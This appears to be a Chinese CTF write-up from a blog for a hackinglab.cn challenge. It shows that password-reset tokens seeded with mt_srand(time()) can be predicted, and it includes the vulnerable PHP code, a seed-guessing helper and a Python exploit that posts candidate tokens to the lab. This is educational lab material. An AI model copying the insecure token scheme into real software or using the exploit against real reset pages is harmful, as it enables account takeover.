专栏首页CTF及算法学习小明学习代码审计writeup

小明学习代码审计writeup

小明学习代码审计writeup

题目来自hackinglab.cn 综合关 题目地址:http://lab1.xseclab.com/pentest6_210deacdf09c9fe184d16c8f7288164f/index.php

访问题目地址得到如下源码:

Please Reset Your Password Then Get your flag!
<a href="./resetpwd.php"></a>

根据链接的复制访问resetpwd.php,并查看网页源码,发现注释中有PHP代码:

<?php 
session_start();
include '_flag.php';
date_default_timezone_set('Asia/Shanghai');
if(isset($_POST['token']) && isset($_SESSION['token']) &&!empty($_POST['token'])&&!empty($_SESSION['token'])){
    if($_POST['token']==$_SESSION['token']){
        echo "PassResetSuccess! Your Flag is:".$flag;
    }else{
        echo "Token_error!";
    }
}else{
    mt_srand(time());
    $rand= mt_rand();
    $_SESSION['token']=sha1(md5($rand));
    echo "Token Generate Ok! now send email to your EmailBox!.....";
    if(sendmymail($_SESSION['token'])){
        echo "SendOK! \r\n<br> Your password reset Token has been send to your mailbox! <br>Please Check your mail box and fill your token here to reset your password!<br>";
    };
}
echo '<form action="" method="POST">
    <input type="text" name="token">
    <input type="submit" value="submit">
</form>';
echo "<!--\r\n".file_get_contents(__FILE__);
?>

分析源码可知,只有得到正确的token才能得到flag。如果未提交token,直接请求resetpwd.php页面,token就会被重置。如果提交了token,token则不会改变。

代码中描述了token生成的方式,采用了随机数的方式

mt_srand(time());
$rand= mt_rand();
$_SESSION['token']=sha1(md5($rand));

根据随机数生成的规则,只要mt_srand()的参数相同,生成的随机数其实是固定的。因此我们可以编写如下exp:

辅助脚本

$base = time();  
//设定一个时间区间,来确保可以碰撞到正确的时间
for($i = -5;$i <= 5;$i++)
{
    mt_srand($base+$i);
    $rand = mt_rand();
    echo sha1(md5($rand))."<br/>";
}

EXP

import requests
r = requests.get('http://localhost/ttt.php')
rlt = r.text.split('<br/>')
rlt = rlt[:-1]
data = {}
header  = {"Cookie":"PHPSESSID=294a9b966570ae34347a613e894d3271","Referer":"http://lab1.xseclab.com/pentest6_210deacdf09c9fe184d16c8f7288164f/index.php"}
url = 'http://lab1.xseclab.com/pentest6_210deacdf09c9fe184d16c8f7288164f/resetpwd.php'
#重置token
r = requests.get(url,headers=header)

for i in rlt:
    data["token"] = i
    r = requests.post(url,data=data,headers=header)
    r.encoding = r.apparent_encoding
    if "Token_error!" not in r.text[:60]:
        print(r.text[:60])

得到flag

PassResetSuccess! Your Flag is:NotSecurityRandomNowYouKnown<

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • ciscn2019华北赛区dropbox题解

    上传页面限制了只能上传图片,这里可以通过修改content-type进行绕过,但是文件后缀还是会被改成图片后缀。

    KevinBruce
  • ciscn2019华北赛区半决赛day2_web1题解

    id为1,2时,可以分别得到一句话。id为0时,显示error,可能是因为结果为空集。

    KevinBruce
  • Turtle库画小猫咪

    这个是用python库画的小猫咪,前面一步步的画整个猫的整个身体,具体步骤都写在了注释之中。身体部分画的比较快,后面画了5个心,由于画心的时候要改变好多度数,而...

    KevinBruce
  • OAuth2.0实战案例(四)搭建认证服务,简化模式测试

    现在在浏览器数据的地址就变为了 http://localhost:9001/oauth/authorize?response_type=token&clien...

    一天不写程序难受
  • 基于token的多平台身份认证架构设计

    基于token的多平台身份认证架构设计 1   概述 在存在账号体系的信息系统中,对身份的鉴定是非常重要的事情。 随着移动互联网时代到来,客户端的类型越来越多,...

    用户1170933
  • 使用python实现后台系统的JWT认证

    專 欄 ❈ 茶客furu声,Python中文社区专栏作者 博客: http://www.jianshu.com/p/537b356d34c9 ❈ ...

    Python中文社区
  • 使用Identity Server 4建立Authorization Server (4)

    上一篇讲了使用OpenId Connect进行Authentication. 下面讲 Hybrid Flow和Offline Access 目前我们解决方案里面...

    solenovex
  • Python接口自动化之接口依赖

    在上一篇Python接口自动化测试系列文章:Python接口自动化之logging封装及实战,

    ITester软件测试小栈
  • 3行代码快速实现Spring Boot Oauth2服务

    用户1737026
  • python接口自动化25-全局变量token项目设计

    在做接口自动化的时候,经常会遇到多个用例需要用同一个参数token,并且这些测试用例跨.py脚本了。 一般token只需要获取一次就行了,然后其它使用unitt...

    上海-悠悠

扫码关注云+社区

领取腾讯云代金券